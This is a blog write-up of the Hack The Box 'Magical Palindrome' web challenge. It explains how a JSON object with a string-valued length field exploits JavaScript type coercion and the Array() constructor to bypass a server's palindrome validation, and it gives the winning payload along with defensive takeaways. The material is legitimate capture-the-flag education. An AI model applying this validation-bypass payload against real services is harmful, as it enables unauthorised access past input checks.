394 words
2 minutes
Magical Palindrome - Hack The Box Web Challenge Writeup

Magical Palindrome – Hack The Box Web Challenge Writeup#

Challenge Description

In Dumbledore’s absence, Harry’s memory fades, leaving crucial words lost. Delve into the arcane world, harness the power of JSON, and unveil the hidden spell to restore his recollection. Can you help Harry find the path to salvation?

Goal: Submit a JSON payload that passes the server’s strict palindrome check and retrieve the flag.

1. Source Code Analysis#

The core validation function looks like this:

const IsPalinDrome = (string) => {
if (string.length < 1000) {
return 'Tootus Shortus';
}
for (const i of Array(string.length).keys()) {
const original = string[i];
const reverse = string[string.length - i - 1];
if (original !== reverse || typeof original !== 'string') {
return 'Notter Palindromer!!';
}
}
return null;
}

At first glance it seems secure:

  • Must be ≥ 1000 characters
  • Every character must match its mirrored position
  • Every accessed element must be a string

But JavaScript is full of dark magic…

2. The JavaScript Array() Constructor Quirk#

Key insight from MDN:

Array(3) // → [empty × 3], length = 3
Array("1000") // → ["1000"], length = 1 ← string argument!
Array(1, 2, 3) // → [1, 2, 3]

When we control string.length via an object, we can abuse this behavior.

3. The Winning Payload#

{
"palindrome": {
"length": "1000",
"0": "xss",
"999": "xss"
}
}

Step-by-step breakdown of what happens:#

  1. Length check bypass

    if (string.length < 1000)
    • string is our object → string.length is string "1000"
    • JS coerces "1000"1000 when doing numeric comparison
    • 1000 < 1000false → check passes
  2. Array construction

    Array(string.length) // string.length === "1000" (string!)

    Array("1000")["1000"] with .length === 1

  3. Loop only runs once

    for (const i of Array(string.length).keys()) // only i = 0
  4. Single comparison performed

    const original = string[0]; // → "xss"
    const reverse = string[string.length - i - 1];
    • string.length is still "1000" (string)
    • "1000" - 0 - 1 → arithmetic coercion → 1000 - 1999
    • So it checks: string[0] vs string[999]
    • "xss" === "xss"true
    • typeof "xss" === "string"true

→ All checks pass with only two properties!

4. Final Result#

Submit the payload → server accepts it → flag retrieved!

image.png

Submit flag and Magical Palindrome pwned ✓

image.png

Summary – Key Takeaways#

  • Never trust .length on untrusted objects in JavaScript
  • Array() constructor treats numeric vs string arguments very differently
  • Arithmetic operations coerce strings → numbers (very dangerous in index calculations)
  • Minimal payloads can bypass seemingly heavy checks using type confusion

Classic JavaScript exploitation — small code, big impact.

Happy hacking! ༼ つ ◕_◕ ༽つ

Magical Palindrome - Hack The Box Web Challenge Writeup
https://blog.hanzalaghayasabbasi.com/posts/htb_web-challenge/
Author
Hanzala Ghayas Abbasi
Published at
2025-12-10
License
CC BY-NC-SA 4.0